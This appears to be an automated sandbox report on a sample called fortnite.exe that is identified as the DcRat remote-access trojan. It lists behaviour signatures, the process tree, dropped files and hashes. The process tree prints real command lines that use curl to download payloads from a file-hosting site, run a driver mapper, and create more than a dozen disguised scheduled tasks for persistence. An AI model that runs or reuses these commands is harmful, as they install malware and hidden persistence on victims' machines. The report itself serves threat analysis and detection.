Analysis

  • max time kernel
    53s
  • max time network
    60s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-11-2024 18:51

General

  • Target

    fortnite.exe

  • Size

    1.2MB

  • MD5

    4ce2034a29fa1119013b35414ac146c8

  • SHA1

    1bc3b7ff47f254f3058f8030e7081d48e762b1fc

  • SHA256

    01d4438ab4eb34157102cef468aeafe178500b30a557efb0a14bcf117e7eeb8f

  • SHA512

    9ff48316eff7b1cf2317ce9c363b596a42100c0f2ff3c17f06c3efe8f3f4b8de93072f594c4dfc7f7cdbf9b4c768643448141ca78bab4db28122f88d3ad64e27

  • SSDEEP

    24576:zMbpm9Z/zQfnkuGKF7rlpC+bKlAtc06Du:PrQnIGz

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3860
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:2804
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1980
        • C:\Windows\system32\curl.exe
          curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
          3⤵
          • Drops file in Windows directory
          PID:1172
      • C:\Windows\Speech\physmeme.exe
        "C:\Windows\Speech\physmeme.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:3568
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe"
          3⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3560
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat" "
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1984
            • C:\Medal\Medal.exe
              "C:\Medal/Medal.exe"
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Drops file in Windows directory
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1548
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\a80SBX4wUh.bat"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1048
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  7⤵
                    PID:4236
                  • C:\Windows\system32\PING.EXE
                    ping -n 10 localhost
                    7⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:3292
                  • C:\Windows\TAPI\dllhost.exe
                    "C:\Windows\TAPI\dllhost.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5088
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3628
          • C:\Windows\system32\curl.exe
            curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys
            3⤵
            • Drops file in System32 directory
            PID:2600
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/wvsaqx.bin --output C:\Windows\System32\Tasks\mapper.exe >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1124
          • C:\Windows\system32\curl.exe
            curl --silent https://files.catbox.moe/wvsaqx.bin --output C:\Windows\System32\Tasks\mapper.exe
            3⤵
            • Drops file in System32 directory
            PID:3376
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4112
          • C:\Windows\System32\Tasks\mapper.exe
            C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
            3⤵
            • Executes dropped EXE
            PID:4052
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows NT\TableTextService\WmiPrvSE.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4580
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Windows NT\TableTextService\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4264
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows NT\TableTextService\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2612
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 11 /tr "'C:\Users\Public\backgroundTaskHost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1140
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\Public\backgroundTaskHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3664
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 13 /tr "'C:\Users\Public\backgroundTaskHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5064
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Windows\TAPI\dllhost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4072
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\TAPI\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3196
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Windows\TAPI\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:700
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Medal\backgroundTaskHost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3588
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Medal\backgroundTaskHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4688
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Medal\backgroundTaskHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2732
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Java\csrss.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2936
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Java\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2408
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Java\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1840
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 12 /tr "'C:\Medal\Medal.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4696
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "Medal" /sc ONLOGON /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:952
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 5 /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1332

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat

        Filesize

        63B

        MD5

        e24619181276af563705f4b1bed29490

        SHA1

        fddac27290319f69543f5330fe97c122a8a01376

        SHA256

        eee937e02edcd36de3ed7658c9ad9d79844502c8553a7c244b2b154aa9ffec05

        SHA512

        1898a5e2a52f2f34466dfd9e1b1149b36052874b6be432dd9301ecfa6bc3a964dca6980b8db54ddcf8ef24a95792efcaffeb09aceb7a04304a0d18f4d0ce0591

      • C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe

        Filesize

        224B

        MD5

        96d43070e1e39d421c53a2f8dca13fc6

        SHA1

        07417cccceddbf8d5f5b48dec0b2e08d53a4754f

        SHA256

        0dab986e5c533631946e27cdbb5147e68b9eb3008c1add60d21a59cd7d964314

        SHA512

        9fc0ee5ac42bca7c7ee7584baa5be6907fc750378d037d56e075a21c4fe8eaeb3efac3e9fb6087a70a6ad01dcebf05d2462f2463daa8063b4047c11e5364d398

      • C:\Medal\Medal.exe

        Filesize

        1.8MB

        MD5

        4f66bbfed3a524398bd0267ed974ccbc

        SHA1

        b2567397dc823412d87a23428c7833ff74586b7d

        SHA256

        fa05b7f28eb1df0447998b89a08aa96453b0f3240c31489900d178862eaa80d8

        SHA512

        bc4de61adb5f56c66043a2617ebfcc9f4e82d36e48dbdc9178695f9466d554eb364d69829490ff43100e8cb457ce7e78b2e277a3cf1733edf32c0154e6f56d9f

      • C:\Users\Admin\AppData\Local\Temp\a80SBX4wUh.bat

        Filesize

        155B

        MD5

        1a1ab1bca2b292e931f766a31a4389d4

        SHA1

        f4b47186d37dbb481c58806803bba3dfc9290168

        SHA256

        d8a081074a79ed0431f7de830fd3586fe9a2458c49895b7554408d90c0297f76

        SHA512

        18fe9ceac07f76697e76b5839e148c17c56cd171c83d2ea5281519751f83d356ede8eeabdf11644ee9a10187f0bc570fbedc8bb17fad21b4677eab27fc299a12

      • C:\Windows\Speech\physmeme.exe

        Filesize

        2.1MB

        MD5

        f4620c0afa8e21897509b2e7215097f5

        SHA1

        af216ca6105e271a3fb45a23c10ee7cf3158b7e1

        SHA256

        8daf7dcdf256d7de40d33e5550dc5e8bbf887b8c4b7f49c79a15c96dad867f82

        SHA512

        68b875acc06d9c3796f49377b5b25a5e8b9a380221eea59e4274249ca7d2bff10c3fc5edf50eae5da726afea882e0e777af86af25be7b57c8fbfd70448d8d7dd

      • C:\Windows\System32\Tasks\driver.sys

        Filesize

        12KB

        MD5

        10a7579c03da9baac0f2efc69673d8c2

        SHA1

        acd27171757c05216665a332450f0604b33b07d5

        SHA256

        797c199601f2dcee255c24da2507ba435f03dcee0fdadbe348023aa75ebb2ad3

        SHA512

        a9cb4c7765e34bb3d8dc1356e37dfeca72e713731c036a3eb48bf69daac6c1f45910409e24ec01e1b13cd9d5d0cad708f1483cd83dcec00566cb307652fe7233

      • C:\Windows\System32\Tasks\mapper.exe

        Filesize

        530KB

        MD5

        54ed683eba9340abf6783bd8d7b39445

        SHA1

        950e3c11c71354097c8440529b31f8ac2b3c32a8

        SHA256

        2d0a9d5ca563ffa82a974903bb43411b22c863311ec926449f08d16f483e4e70

        SHA512

        9ff8c110823bad1e0a79a810b151e1d5557022080af0c8aaa9ff76996bd040747346f62459c50468cf86f49389c0e5fb7f057e9bd30fa31fed49ae5692d50ae2

      • memory/1548-19-0x0000000002C60000-0x0000000002C7C000-memory.dmp

        Filesize

        112KB

      • memory/1548-22-0x0000000002C80000-0x0000000002C98000-memory.dmp

        Filesize

        96KB

      • memory/1548-24-0x0000000002C40000-0x0000000002C4E000-memory.dmp

        Filesize

        56KB

      • memory/1548-20-0x000000001C2C0000-0x000000001C310000-memory.dmp

        Filesize

        320KB

      • memory/1548-17-0x0000000001340000-0x000000000134E000-memory.dmp

        Filesize

        56KB

      • memory/1548-15-0x0000000000840000-0x0000000000A1E000-memory.dmp

        Filesize

        1.9MB

      • memory/4052-48-0x00007FF6B42E0000-0x00007FF6B4391000-memory.dmp

        Filesize

        708KB

      • memory/4052-56-0x00007FF6B42E0000-0x00007FF6B4391000-memory.dmp

        Filesize

        708KB